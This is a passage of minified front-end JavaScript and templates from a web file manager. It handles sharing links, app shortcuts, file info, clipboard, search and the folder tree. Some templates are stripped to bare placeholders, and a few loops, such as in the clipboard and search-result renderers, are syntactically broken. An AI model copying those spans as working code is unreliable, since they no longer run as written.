b&&b(a)}})},e=G.appHost+"explorer/unzip&path="+urlEncode(a);"toThis"==c&&(e+="&toThis=1"),"toFolder"==c?core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(a){e+="&pathTo="+a,d(e)}):d(e)}},n=function(a){var b=a.path,c=core.pathPre(b);if(c==G.KOD_GROUP_PATH||c==G.KOD_GROUP_SHARE||c==G.KOD_USER_SHARE)return void Tips.tips(LNG.path_can_not_share,"warning");var d="folder"==a.type?"folder":"file";b.length<1||core.authCheck("userShare.set",!0)&&$.ajax({url:G.appHost+"userShare/checkByPath&path="+urlEncode(b),dataType:"json",error:core.ajaxError,success:function(a){if(a.code)o(a.data);else{G.selfShare=a.info;var c={path:b,type:d,name:core.pathThis(b)};p(c,function(a){a.code?(G.selfShare=a.info,ui.f5(),o(a.data)):(Tips.tips(a),o(void 0,function(){$(".content-info input[name=type]").val(d),$(".content-info input[name=path]").val(b),$(".content-info input[name=name]").val(core.pathThis(b)+"(1)"),"file"==d&&($(".label-code-read").addClass("hidden"),$(".label-can-upload").addClass("hidden"))}))})}}})},o=function(b,c){0!=$(".share-dialog").length&&$(".share-dialog").shake(3,30,100),a.async(["lib/jquery.datetimepicker/jquery.datetimepicker.css","lib/jquery.datetimepicker/jquery.datetimepicker.js"],function(){q(b),void 0!=c&&c()})},p=function(a,b){$.ajax({url:G.appHost+"userShare/set",data:a,type:"POST",dataType:"json",beforeSend:function(a){$(".share-create-button").addClass("disabled")},error:function(){Tips.tips(LNG.error,!1)},success:function(a){$(".share-create-button").removeClass("disabled"),void 0!=b&&b(a)}})},q=function(b){var c=a("./tpl/share.html"),d=template.compile(c),e=d({LNG:LNG});$.dialog({id:"share-dialog",simple:!0,resize:!1,width:425,title:LNG.share,padding:"0",fixed:!0,content:e});var f="zh-CN"==G.lang?"ch":"en";$("#share-time").datetimepicker({format:"Y/m/d",formatDate:"Y/m/d",timepicker:!1,lang:f}),$("#share-time").unbind("blur").bind("blur",function(a){stopPP(a)});var g=function(a){if($(".share-setting-more").addClass("hidden"),void 0==a)$(".share-has-url").addClass("hidden"),$(".share-action .share-remove-button").addClass("hidden"),$(".content-info input[name=sid]").val(""),$(".content-info input[name=type]").val(""),$(".content-info input[name=name]").val(""),$(".content-info input[name=showName]").val(""),$(".content-info input[name=path]").val(""),$(".content-info input[name=timeTo]").val(""),$(".content-info input[name=sharePassword]").val(""),$(".share-view-info").addClass("hidden");else{a.options&&(a.codeRead=a.options.codeRead,a.canUpload=a.options.canUpload,a.notDownload=a.options.notDownload),"undefined"==typeof a.canUpload&&(a.canUpload=""),b=a,a.showName||(a.showName=a.name),$(".content-info input[name=sid]").val(a.sid),$(".content-info input[name=type]").val(a.type),$(".content-info input[name=name]").val(a.name),$(".content-info input[name=showName]").val(a.showName),$(".content-info input[name=path]").val(a.path),$(".content-info input[name=timeTo]").val(a.timeTo),$(".content-info input[name=sharePassword]").val(a.sharePassword),$(".share-view-info").removeClass("hidden"),"undefined"==typeof a.numDownload&&(a.numDownload=0),"undefined"==typeof a.numView&&(a.numView=0);var c=LNG.share_view_num+a.numView+" "+LNG.share_download_num+a.numDownload;$(".share-view-info").html(c),"1"==a.codeRead?$(".content-info input[name=codeRead]").attr("checked","checked"):$(".content-info input[name=codeRead]").removeAttr("checked"),"1"==a.notDownload?$(".content-info input[name=notDownload]").attr("checked","checked"):$(".content-info input[name=notDownload]").removeAttr("checked"),"1"==a.canUpload?$(".content-info input[name=canUpload]").attr("checked","checked"):$(".content-info input[name=canUpload]").removeAttr("checked"),$(".share-has-url").removeClass("hidden"),"file"==a.type?($(".label-code-read").addClass("hidden"),$(".label-can-upload").addClass("hidden")):($(".label-code-read").removeClass("hidden"),$(".label-can-upload").removeClass("hidden"));var d=a.type;"folder"==a.type&&(d=1==a.codeRead?"codeRead":"folder");var e=G.appHost+"share/"+d+"&user="+G.userID+"&sid="+a.sid;$(".content-info .share-url").val(e),(a.timeTo||a.canUpload||a.codeRead||a.notDownload)&&$(".share-setting-more").removeClass("hidden"),$(".share-remove-button").removeClass("hidden"),$(".share-create-button").text(LNG.share_save),Hook.trigger("explorer.path.share.uiInit")}},h=function(){var a="";$(".share-dialog .content-info input[name]").each(function(){var b=urlEncode($(this).val());"checkbox"==$(this).attr("type")&&(b=$(this).attr("checked")?"1":""),a+="&"+$(this).attr("name")+"="+b}),p(a,function(a){a.code?(Tips.tips(LNG.success,!0),G.selfShare=a.info,ui.f5()):Tips.tips(a)})},i=function(){$(".share-action .share-remove-button").unbind("click").click(function(){j([{type:"share",path:b.sid}],function(){ui.f5()})}),$(".content-info .share-more").unbind("click").click(function(){$(".share-setting-more").toggleClass("hidden")}),$("[name=sharePassword]").unbind("click").click(function(){trim($(this).val())||$(this).val(roundString(5)),$(this).blur().textSelect()});var a=$(".share-dialog .btn.copy"),c=new ClipboardJS(a.get(0),{text:function(a){h();var b=trim($("[name=sharePassword]").val()),c=$(".share-url").val();return b.length>0&&(c=LNG.share_url+":"+c+" "+LNG.share_password+":"+b),c}});c.on("success",function(a){$("input.share-url").textSelect()}),$(".share-action .share-create-button").unbind("click").click(function(){h();var a=$.dialog.list["share-dialog"];a&&a.close()}),$(".content-info .open-window").unbind("click").bind("click",function(){h(),window.open($("input.share-url").val())}),$(".content-info .qrcode").unbind("click").bind("click",function(){core.qrcode($("input.share-url").val())});var d=$("input.share-url");d.get(0);d.unbind("hover click").bind("hover click",function(a){d.textSelect()})};g(b),i()},r=function(a){$.ajax({url:G.appHost+"setting/set&k=wall&v="+urlEncode(a),dataType:"json",success:function(a){Tips.tips(a)}})},s=function(a,b,c,d,e){if(!(a.length<1)){var f,g=G.myDesktop;d&&(g=core.pathFather(a)),f="folder"==c?"ui.path.list(hashDecode('"+hashEncode(a)+"'));":"ui.path.open(hashDecode('"+hashEncode(a)+"'));";var h=urlEncode(g+b+".oexe"),i=core.getPathIcon(a);""==i.icon&&(i.icon=c),$.ajax({url:G.appHost+"explorer/mkfile&path="+h,type:"POST",dataType:"json",data:{content:jsonEncode({type:"app_link",content:f,icon:i.icon})},success:function(a){Tips.tips(a),a.code&&(ShareData.frameTop("",function(a){a.ui.f5()}),"function"==typeof e&&e(a.info))}})}},t=function(a,b){if(!(a.length<1)){var c=core.pathThis(a),d=core.pathFather(a);jsrun="core.explorerCode('"+urlEncode(a)+"');";var e=urlEncode(d+c+"_project.oexe");$.ajax({url:G.appHost+"explorer/mkfile&path="+e,type:"POST",dataType:"json",data:'content={"type":"app_link","content":"'+jsrun+'","icon":"folder.png"}',success:function(a){a.code&&"function"==typeof b&&b(a.info)}})}},u=function(a,b,c){if(a){var d=G.appHost+"explorer/imageRotate&rotate="+b+"&path="+urlEncode(a);$.ajax({url:d,beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(a){return a?(Tips.close(a),void(a.code&&"function"==typeof c&&c(a))):void Tips.close(LNG.php_env_error_gd,!1)}})}},v=function(b){var c={};c.fileInfo=a("./tpl/fileinfo/fileInfo.html"),c.pathInfo=a("./tpl/fileinfo/pathInfo.html"),c.pathInfoMore=a("./tpl/fileinfo/pathInfoMore.html"),b.length<1&&(b=[{path:G.thisPath,type:"folder"}]);var d="info";1==b.length&&(d="file"==b[0].type?core.pathExt(b[0].path):"folder"),Tips.loading(LNG.getting),core.fileInfo(f(b),function(a){if(!a.code)return void Tips.close(a);Tips.close(LNG.get_success,!0);var e="pathInfoMore",f=LNG.info;1==b.length&&(e="folder"==b[0].type?"pathInfo":"fileInfo",f=core.pathThis(b[0].path),f.length>15&&(f=f.substr(0,15)+"... "+LNG.info));var g=template.compile(c[e]),h=UUID();a.data.is_root=G.isRoot,a.data.LNG=LNG,a.data.atime=date(LNG.time_type_info,a.data.atime),a.data.ctime=date(LNG.time_type_info,a.data.ctime),a.data.mtime=date(LNG.time_type_info,a.data.mtime),a.data.sizeFriendly=pathTools.fileSize(a.data.size);var i=$.dialog({id:h,padding:5,ico:core.iconSmall(d),fixed:!0,title:f,content:g(a.data),ok:!0}),j=15*$(".aui-outer .pathinfo").length;i.DOM.wrap.css({left:"+="+j+"px",top:"+="+j+"px"}),w(h,b)})},w=function(a,b){var c=$("."+a);c.find(".open-window").bind("click",function(){window.open(c.find("input.download-url").val())}),c.find(".qrcode").unbind("click").bind("click",function(){core.qrcode(c.find("input.download-url").val(),c.find(".qrcode").get(0))});var d=c.find(".file-md5-loading");if(1==d.length){var e=f(b);e+="&getMd5=1",core.fileInfo(e,function(a){d.removeClass("file-md5-loading"),a.code?d.html(a.data.fileMd5):d.html(LNG.error)})}var g=c.find("input.download-url"),h=g.get(0);g.unbind("hover click").bind("hover click",function(a){$(this).focus();var b=g.val().length;if($.browser.msie){var c=h.createTextRange();c.moveEnd("character",-h.value.length),c.moveEnd("character",b),c.moveStart("character",0),c.select()}else h.setSelectionRange(0,b)}),c.find(".edit-chmod").click(function(){var a=$(this).parent().find("input"),c=$(this);$.ajax({url:G.appHost+"explorer/pathChmod&mod="+a.val(),type:"POST",data:f(b),beforeSend:function(){c.text(LNG.loading)},error:function(a){c.text(LNG.button_save)},success:function(a){c.text(a.data).animate({opacity:.6},400,0).delay(1e3).animate({opacity:1},200,0,function(){c.text(LNG.button_save)}),a.code&&ui.f5()}})})},x=function(a,b,c){var d=function(){$.ajax({url:G.appHost+"fav/del&name="+urlEncode(a),dataType:"json",async:!1,success:function(a){"function"==typeof b&&b(a)}})};return c?void d():void $.dialog({id:"dialog-fav-remove",fixed:!0,icon:"question",title:LNG.fav_remove,width:200,padding:"40px 20px",content:LNG.fav_remove+"?",ok:d,cancel:!0})},y=function(a){if(a){if(-1==trim(core.pathClear(a.path),"/").indexOf("/")){var b=core.getPathIcon(a.path,a.name);""!=b.icon&&(a.ext=b.icon,a.name=b.name)}"/"==a.path&&(a.name="Home"),$.ajax({url:G.appHost+"fav/add",dataType:"json",data:a,success:function(a){Tips.tips(a),a.code&&!core.isApp("desktop")&&ui.tree.refreshFav()}})}},z=function(a){var b={};return b.type=a.find("input[type=radio]:checked").val(),b.content=a.find("textarea").val(),b.group=a.find("[name=group]").val(),a.find("input[type=text]").each(function(){var a=$(this).attr("name");b[a]=$(this).val()}),a.find("input[type=checkbox]").each(function(){var a=$(this).attr("name");b[a]="checked"==$(this).attr("checked")?1:0}),b},A=function(a){a.find(".type input").change(function(){var b=$(this).attr("apptype");a.find("[data-type]").addClass("hidden"),a.find("[data-type="+b+"]").removeClass("hidden")}),a.find(".app-edit-select-icon").unbind("click").bind("click",function(){var b=G.basicPath+"static/images/file_icon/icon_app/";G.isRoot||(b=""),core.api.pathSelect({type:"file",title:LNG.path_api_select_file,firstPath:b},function(b){var b=core.path2url(b);a.find(".app-edit-select-icon-input").val(b)})}),a.find(".size-full").unbind("click").bind("click",function(){var b=$(this).prop("checked");b?(a.find("[name=width]").val("100%"),a.find("[name=height]").val("100%")):(a.find("[name=width]").val("800"),a.find("[name=height]").val("600"))})},B=function(b,c,d){var e,f,g,h=LNG.app_create,i=UUID(),j=a("./tpl/appEdit.html"),k=template.compile(j);switch(void 0==d&&(d="userEdit"),"rootEdit"==d&&(b=b),"userEdit"==d||"rootEdit"==d?(h=LNG.app_edit,g=k({LNG:LNG,uuid:i,data:b,appType:G.settings.appType})):g=k({LNG:LNG,uuid:i,data:{},appType:G.settings.appType}),$.dialog({fixed:!0,width:450,id:i,padding:15,title:h,content:g,button:[{name:LNG.preview,callback:function(){return core.openApp(z(e)),!1}},{name:LNG.button_save,focus:!0,callback:function(){var a=z(e);switch(d){case"userAdd":var g=urlEncode(G.thisPath+a.name);f=G.appHost+"app/userApp&action=add&path="+g;break;case"userEdit":f=G.appHost+"app/userApp&path="+urlEncode(b.path);break;case"rootAdd":f=G.appHost+"app/add&name="+urlEncode(a.name);break;case"rootEdit":f=G.appHost+"app/edit&name="+urlEncode(a.name)+"&old_name="+urlEncode(b.name)}$.ajax({url:f,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(a))},beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(a){if(Tips.close(a),a.code)if("rootEdit"==d||"rootAdd"==d){if(!a.code)return;ShareData.frameTop("Openapp_store",function(a){a.App.reload()})}else"function"==typeof c?c():ui.f5()}})}}]}),e=$("."+i),G.isRoot||$(".appbox .appline .right a.open").remove(),b.group&&e.find("option").eq(b.group).attr("selected",1),e.find(".aui-content").css("overflow","inherit"),d){case"userEdit":e.find(".name").addClass("hidden"),e.find(".desc").addClass("hidden"),e.find(".group").addClass("hidden"),e.find("option[value="+b.group+"]").attr("checked",!0),"url"!=b.type&&e.find(".appline[data-type=url]").addClass("hidden");break;case"userAdd":e.find(".desc").addClass("hidden"),e.find(".group").addClass("hidden"),e.find("[apptype=url]").attr("checked",!0),e.find("[data-type=url] input[name=resize]").attr("checked",!0),e.find("input[name=width]").attr("value","800"),e.find("input[name=height]").attr("value","600"),e.find("input[name=icon]").attr("value","oexe.png");break;case"rootAdd":e.find("[apptype=url]").attr("checked",!0),e.find("[data-type=url] input[name=resize]").attr("checked",!0),e.find("input[name=width]").attr("value","800"),e.find("input[name=height]").attr("value","600"),e.find("input[name=icon]").attr("value","oexe.png");break;case"rootEdit":e.find("option[value="+b.group+"]").attr("selected",!0),"url"!=b.type&&e.find(".appline[data-type=url]").addClass("hidden")}A(e)},C=function(){core.appStore()},D=function(a){a&&a.length<4&&"http"!=a.substring(0,4)||$.ajax({url:G.appHost+"app/getUrlTitle&url="+a,dataType:"json",beforeSend:function(){Tips.loading()},success:function(b){var c=b.data;c=c.replace(/[\/\\]/g,"_"),Tips.close(b);var d={content:a,type:"url",desc:"",group:"others",icon:"internet.png",name:c,resize:1,simple:0,height:"70%",width:"90%"},e=urlEncode(G.thisPath+c);a=G.appHost+"app/userApp&action=add&path="+e,$.ajax({url:a,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(d))},success:function(a){Tips.close(a),a.code&&ui.f5()}})}})};return{makeJson:f,appEdit:B,appList:C,appAddURL:D,share:n,shareBox:o,setBackground:r,createLink:s,createProject:t,imageRotate:u,newFile:g,newFolder:h,rname:i,zipDownload:k,zip:l,unZip:m,info:v,remove:j,fav:y,favRemove:x}});;define("app/path/tpl/fileinfo/fileInfo.html",[],"
        \n {{if downloadPath}}\n \n
        \n {{/if}}\n\n
        \n
        {{LNG.address}}:
        \n
        {{path |kod.window.htmlEncode}}
        \n
        \n
        \n
        \n
        {{LNG.size}}:
        \n
        {{sizeFriendly}} {{if size>1024}}({{size.toLocaleString()}} Byte){{/if}}
        \n
        \n
        \n\n {{if fileMd5}}\n
        \n
        MD5:
        \n
        {{fileMd5}}
        \n
        \n
        \n {{/if}}\n\n {{if imageSize}}\n
        \n
        {{LNG.image_size}}:
        \n
        {{imageSize.width}} × {{imageSize.height}}
        \n
        \n
        \n {{/if}}\n\n
        \n\n {{if ctime}}\n
        \n
        {{LNG.create_time}}
        \n
        {{ctime}}
        \n
        \n
        \n {{/if}}\n\n {{if mtime}}\n
        \n
        {{LNG.modify_time}}
        \n
        {{mtime}}
        \n
        \n
        \n {{/if}}\n\n {{if atime}}\n
        \n
        {{LNG.last_time}}
        \n
        {{atime}}
        \n
        \n
        \n {{/if}}\n\n {{if owner}}\n
        \n
        {{LNG.file_info_owner}}
        \n
        {{owner}}
        \n
        \n
        \n {{/if}}\n\n {{if group}}\n
        \n
        {{LNG.file_info_group}}
        \n
        {{group}}
        \n
        \n
        \n {{/if}}\n \n {{if mode && is_root==\"1\"}}\n
        \n
        \n
        {{LNG.permission}}:
        \n
        {{mode}}
        \n
        \n
        \n
        \n
        {{LNG.permission_edit}}:
        \n
        \n
        \n
        \n
        \n {{/if}}\n
        \n");;define("app/path/tpl/fileinfo/pathInfo.html",[],"
        \n
        \n
        {{LNG.address}}:
        \n
        {{path |kod.window.htmlEncode}}
        \n
        \n
        \n
        \n
        {{LNG.size}}:
        \n
        {{sizeFriendly}}{{if size>1024}}({{size.toLocaleString()}} Byte){{/if}}
        \n
        \n
        \n
        \n
        {{LNG.contain}}:
        \n
        {{fileCount}} {{LNG.file}},{{folderCount}} {{LNG.folder}}
        \n
        \n
        \n \n
        \n {{if ctime}}\n
        \n
        {{LNG.create_time}}
        \n
        {{ctime}}
        \n
        \n
        \n {{/if}}\n\n {{if mtime}}\n
        \n
        {{LNG.modify_time}}
        \n
        {{mtime}}
        \n
        \n
        \n {{/if}}\n\n {{if atime}}\n
        \n
        {{LNG.last_time}}
        \n
        {{atime}}
        \n
        \n
        \n {{/if}}\n\n {{if owner}}\n
        \n
        {{LNG.file_info_owner}}
        \n
        {{owner}}
        \n
        \n
        \n {{/if}}\n\n {{if group}}\n
        \n
        {{LNG.file_info_group}}
        \n
        {{group}}
        \n
        \n
        \n {{/if}}\n\n\n {{if mode && is_root==\"1\"}}\n
        \n
        \n
        {{LNG.permission}}:
        \n
        {{mode}}
        \n
        \n
        \n
        \n
        {{LNG.permission_edit}}:
        \n
        \n
        \n
        \n
        \n {{/if}}\n
        \n");;define("app/path/tpl/share.html",[],'
        \n
        \n
        {{LNG.share_title}}
        \n \n
        \n
        \n \n
        \n {{LNG.share_password}}:\n \n {{LNG.share_password_desc}}\n
        \n
        \n \n \n
        \n \n
        ');;define("app/path/tpl/fileinfo/pathInfoMore.html",[],"
        \n
        \n
        {{LNG.info}}:
        \n
        \n {{fileCount}} {{LNG.file}},{{folderCount}} {{LNG.folder}}
        \n
        \n
        \n
        \n
        \n
        {{LNG.size}}:
        \n
        {{sizeFriendly}} {{if size>1024}}({{size.toLocaleString()}} Byte){{/if}}
        \n
        \n
        \n \n {{if mode && is_root==\"1\"}}\n
        \n
        \n
        {{LNG.permission}}:
        \n
        {{mode}}
        \n
        \n
        \n
        \n
        {{LNG.permission_edit}}:
        \n
        \n
        \n
        \n
        \n {{/if}}\n
        \n");;define("app/path/tpl/appEdit.html",[],"
        \n
        \n
        {{LNG.name}}
        \n
        \n
        \n
        \n
        \n
        {{LNG.app_desc}}
        \n
        \n
        \n
        \n
        \n
        {{LNG.app_icon}}
        \n
        \n \n
        \n
        \n
        \n
        \n
        {{LNG.app_group}}
        \n
        \n \n
        \n
        \n
        \n
        \n
        {{LNG.app_type}}
        \n
        \n \n \n \n \n \n \n
        \n
        \n
        \n\n
        \n
        {{LNG.app_display}}
        \n
        \n \n \n \n \n
        \n
        \n
        \n
        \n
        {{LNG.app_size}}
        \n
        \n ({{LNG.width}})  \n ({{LNG.height}})\n\n \n \n
        \n
        \n
        \n
        \n \n \n
        {{LNG.app_url}}
        \n
        \n
        \n
        \n
        \n");;define("app/path/clipboard",[],function(a,b){var c=function(a){return ui.path.pathOperate.makeJson(a)},d=function(a){a.length<1||$.ajax({url:G.appHost+"explorer/pathCopy",type:"POST",dataType:"json",data:c(a),error:core.ajaxError,success:function(a){Tips.tips(a)}})},e=function(a){a.length<1||$.ajax({url:G.appHost+"explorer/pathCute",type:"POST",dataType:"json",data:c(a),error:core.ajaxError,success:function(a){Tips.tips(a)}})},f=function(a,b){a&&(Tips.loading(LNG.moving),setTimeout(function(){var c=G.appHost+"explorer/pathPast&path="+urlEncode(a);$.ajax({url:c,dataType:"json",error:core.ajaxError,success:function(a){Tips.close(a.data,a.code),"function"==typeof b&&b(a.info)}})},50))},g=function(a,b,d){b&&$.ajax({url:G.appHost+"explorer/pathCuteDrag",type:"POST",dataType:"json",data:c(a)+"&path="+urlEncode(b+"/"),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(a){Tips.close(a),a.code&&core.playSound("drag_drop"),"function"==typeof d&&d(a.info)}})},h=function(a,b,d,e){b&&(void 0==e&&(e=0),$.ajax({url:G.appHost+"explorer/pathCopyDrag",type:"POST",dataType:"json",data:c(a)+"&path="+urlEncode(b+"/")+"&filename_auto="+Number(e),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(a){Tips.close(a),a.code&&core.playSound("drag_drop"),"function"==typeof d&&d(a.info)}}))},i=function(a,b){var c="style='height:150px;border-left: 3px solid #def;overflow:auto;margin:20px;background: #f0f8ff;padding:20px;width:300px'",d="
        "+LNG.clipboard_null+"
        ";if(0!=a.length){d="
        "+LNG.clipboard_state+LNG[b]+"
        ";for(var e=40,f=0;f"+g.type+": "+h+""}d+='
        "}return d},j=function(){$.ajax({url:G.appHost+"explorer/clipboard",dataType:"json",error:core.ajaxError,success:function(a){a.code&&($.dialog({id:"dialog-clipboard",title:LNG.clipboard,width:400,content:i(a.data,a.info)}),$(".clipboard-clear").one("click",function(){Tips.tips(LNG.success),$.get(G.appHost+"explorer/clipboard&clear=ok"),$.dialog.list["dialog-clipboard"].close()}))}})};return{copy:d,cute:e,past:f,cuteDrag:g,copyDrag:h,clipboard:j}});;define("app/path/search",["./tpl/search.html","./tpl/searchList.html"],function(a,b){var c=a("./tpl/search.html"),d=a("./tpl/searchList.html");return function(a,b){b||(b=G.thisPath);var e,f,g=function(){var d=trim(core.pathClear(b),"/");if(0==d.indexOf(G.KOD_USER_SHARE)&&-1==d.indexOf("/")||d==G.KOD_USER_FAV||d==G.KOD_GROUP_ROOT_ALL)return void Tips.tips(LNG.path_cannot_search,!1);template.helper("searchResultPrase",j);var g=template.compile(c);0==$(".dialog-do-search").length?(e=$.dialog({id:"dialog-do-search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:460,height:480,content:g({LNG:LNG})}),f=l(),f.path=b,""!=a&&(f.search=a),$("#search-path").val(f.path),$("#search-value").val(f.search),k()):($.dialog.list["dialog-do-search"].display(!0),a&&$("#search-value").val(a),$("#search-path").val(b),i())},h=function(){return f={search:$("#search-value").val(),path:$("#search-path").val(),is_content:Number($("#search-is-content").is(":checked")),is_case:Number($("#search-is-case").is(":checked")),ext:$("#search-ext").val()}},i=function(){h(),n(f)},j=function(a){var b=htmlEncode($("#search-value").val());if(a=htmlEncode(a),f.is_case)a=a.replace(b,''+b+"");else{var c=a.toLowerCase().indexOf(b.toLowerCase());a=a.substr(0,c)+''+a.substr(c,b.length)+""+a.substr(c+b.length)}return a},k=function(){$("#search-value").die("keyup").live("keyup",function(a){core.isApp("editor")||ui.path.setSearchByStr($(this).val())}),$("#search-value,#search-ext,#search-path").keyEnter(i),$(".search-header .btn").die("click").live("click",i),$(".search-result .file-item .file-info").die("click").live("click",function(a){var b=$(this).parent();return b.toggleClass("open"),b.find(".result-item").slideToggle(200),stopPP(a),!1}),$(".search-result .file-item .file-info .goto").die("click").live("click",function(a){var b=$(this).parent().parent(),c=pathHashDecode(b.attr("data-path")),d=core.pathFather(c);return core.openPath(d),setTimeout(function(){core.isApp("explorer")&&ui.path.setSelectByFilename(c)},200),stopPP(a),!1}),$(".search-result .file-item .file-info .title").die("click").live("click",function(a){var b=$(this).parent().parent(),c=pathHashDecode(b.attr("data-path"));return kodApp.setLastOpenTarget(b),kodApp.open(c,b.attr("data-ext")),stopPP(a),!1}),$(".search-result .file-item .result-info").die("click").live("click",function(a){var b=$(this).parent().parent(),c=pathHashDecode(b.attr("data-path"));$(".search-result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var d=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search-value").val(),line:d,lineIndex:$(this).parent().find("[data-line="+d+"]").index($(this).find(".line"))}),kodApp.open(c,b.attr("data-ext"),"aceEditor"),stopPP(a),!1}),$(".search-header input[type=checkbox]").on("click",function(){h(),l(f)})},l=function(a){var b="box_search_config";if(void 0==a){var a=LocalData.getConfig(b);return a||(a={search:"",is_content:0,is_case:0,ext:""}),$("#search-value").val(a.search).textSelect(),a.is_content?$("#search-is-content").attr("checked","checked"):$("#search-is-content").removeAttr("checked"),a.is_case?$("#search-is-case").attr("checked","checked"):$("#search-is-case").removeAttr("checked"),$("#search-ext").val(a.ext),a}return LocalData.setConfig(b,a)},m=function(a){var b=$(".file-items"),c=$(".search-desc");if(!a.code)return c.html(a.data),void b.html("");if(0==a.data.fileList.length&&0==a.data.folderList.length)return c.html(LNG.search_null),void b.html("");var e=template.compile(d);if(b.html(e({code:a.code,data:a.data,LNG:LNG})),f.is_content){for(var g=a.data.fileList,h=0,i=0;i"+h+"(in "+g.length+" files)"),a.data.error_info&&c.html(""+LNG.seach_result_too_more+"")}else c.html(a.data.fileList.length+" "+LNG.file+", "+a.data.folderList.length+LNG.folder+".")},n=function(a){l(a),$("#search-value").textFocus();var b=$(".file-items"),c=$(".search-desc");if(!a.search||!a.path)return c.html(LNG.search_info),void b.html("");var d=G.appHost+"explorer/search";"undefined"!=typeof G.sharePage&&(d=G.appHost+"share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:d,dataType:"json",type:"POST",data:a,beforeSend:function(){c.hide().html(LNG.searching+'').fadeIn(100)},error:function(a,b,d){core.ajaxError(a,b,d),c.html(LNG.error)},success:function(a){m(a)}})};g()}});;define("app/path/tpl/search.html",[],"\n\n");;define("app/path/tpl/searchList.html",[],'\n{{each data.folderList v i}}\n
      • \n
        \n \n {{\'folder\' |kod.core.icon}}\n {{v.name | searchResultPrase}}\n \n
        \n
      • \n{{/each}}\n\n\n{{each data.fileList v i}}\n {{if v.searchInfo}}\n
      • \n
        \n \n {{v.ext |kod.core.icon}}\n \n {{v.name | kod.window.htmlEncode}}\n \n {{v.searchInfo.length}}\n \n
        \n
          \n {{each v.searchInfo value index}}\n
        • \n {{value.line}}:\n {{@value.str | searchResultPrase}}\n
        • \n {{/each}}\n
        \n
      • \n {{else}}\n
      • \n
        \n \n {{v.ext |kod.core.icon}}\n {{v.name | searchResultPrase}}\n \n
        \n
      • \n {{/if}}\n{{/each}}\n\n');;define("app/path/tpl/file/create.html",[],"
        \n {{if listType=='list'}}{{/if}}\n
        \n \n {{if type=='folder'}}\n
        {{\"folder\" | kod.core.icon}}
        \n {{else}}\n
        {{ext | kod.core.icon}}
        \n {{/if}}\n
        \n {{if listType=='icon'}}\n \n {{else}}\n \n {{/if}}\n
        \n
        \n
        \n
        \n
        \n");;define("app/common/tree",["../path/pathOperate","../path/tpl/fileinfo/fileInfo.html","../path/tpl/fileinfo/pathInfo.html","../path/tpl/share.html","../path/tpl/fileinfo/pathInfoMore.html","../path/tpl/appEdit.html","../path/clipboard","../path/search","../path/tpl/search.html","../path/tpl/searchList.html"],function(a,b){var c,d,e=a("../path/pathOperate"),f=a("../path/clipboard"),g=a("../path/search"),h=!1;ui.pathOperate=e;var i=function(a,b){var c=["menu-tree-group","menu-tree-fav","menu-tree-folder-fav"];if(a&&a[0]&&-1!==$.inArray(a[0].menuType,c))return a;for(var d=[],e=[],f=0;f'+LNG.system_error+"
        ")},success:function(a){if(!a.code)return void $("#folder-list-tree").html('
        '+LNG.system_error+"
        ");var b=i(a.data,!0);b=j.reset(b),$.fn.zTree.init($("#folder-list-tree"),n,b),d=$.fn.zTree.getZTreeObj("folder-list-tree")}}),$(".ztree .switch").die("mouseenter").live("mouseenter",function(){$(this).addClass("switch_hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("switch_hover")}),core.isApp("editor")&&(Mousetrap.bind("up",function(a){l(a,"up")}).bind("down",function(a){l(a,"down")}).bind("left",function(a){l(a,"left")}).bind("right",function(a){l(a,"right")}),Mousetrap.bind("enter",function(a){tree.open()}).bind(["del","command+backspace"],function(a){tree.remove()}).bind("f2",function(a){stopPP(a),tree.rname()}).bind(["ctrl+f","command+f"],function(a){stopPP(a),tree.search()}).bind(["ctrl+c","command+c"],function(a){tree.copy()}).bind(["ctrl+x","command+x"],function(a){tree.cute()}).bind(["ctrl+v","command+v"],function(a){tree.past()}).bind("alt+m",function(a){tree.create("folder")}).bind("alt+n",function(a){tree.create("file")}))},l=function(a,b){stopPP(a);var c=d.getSelectedNodes()[0];if(c)switch(b){case"up":var e=c.getPreNode();if(e){if(e.open&&e.children.length>0)for(;e.open&&e.children&&e.children.length>=1;)e=e.children[e.children.length-1]}else e=c.getParentNode();d.selectNode(e);break;case"down":if(c.open&&c.children.length>=1)e=c.children[0];else{var f=c,e=f.getNextNode()||f.getParentNode().getNextNode();try{for(;!e;)f=f.getParentNode(),e=f.getNextNode()||f.getParentNode().getNextNode()}catch(a){}}d.selectNode(e);break;case"left":c.isParent&&c.open?d.expandNode(c,!1):d.selectNode(c.getParentNode());break;case"right":c.open?d.selectNode(c.children[0]):d.expandNode(c,!0)}},m=function(){return core.isApp("editor")?!1:!0},n={async:{enable:!0,dataType:"json",url:function(){return G.appHost+Config.treeAjaxURL},autoParam:["ajax_path=path","tree_icon=tree_icon"],dataFilter:function(a,b,c){return c.code?i(c.data):null}},edit:{enable:!0,showRemoveBtn:!1,showRenameBtn:!1,drag:{isCopy:!1,isMove:!1}},view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(a,b){var c=15,d=$("#"+b.tId+"_switch"),e=$("#"+b.tId+"_ico");d.remove(),b.iconSkin=b.tree_icon;var f=b.tree_icon;if(b.ext?f=b.ext:b.tree_icon||(f=b.type),e.before(d).before(''+core.iconSmall(f)+"").remove(),void 0!=b.ext&&e.attr("class","").addClass("file "+b.ext).removeAttr("style"),b.level>=1){var g="";d.before(g)}d.before("");var h="";void 0!=b.menuType?h=b.menuType:(("file"==b.type||"oexe"==b.ext)&&(h="menu-tree-file"),"folder"==b.type&&(h="menu-tree-folder"));var 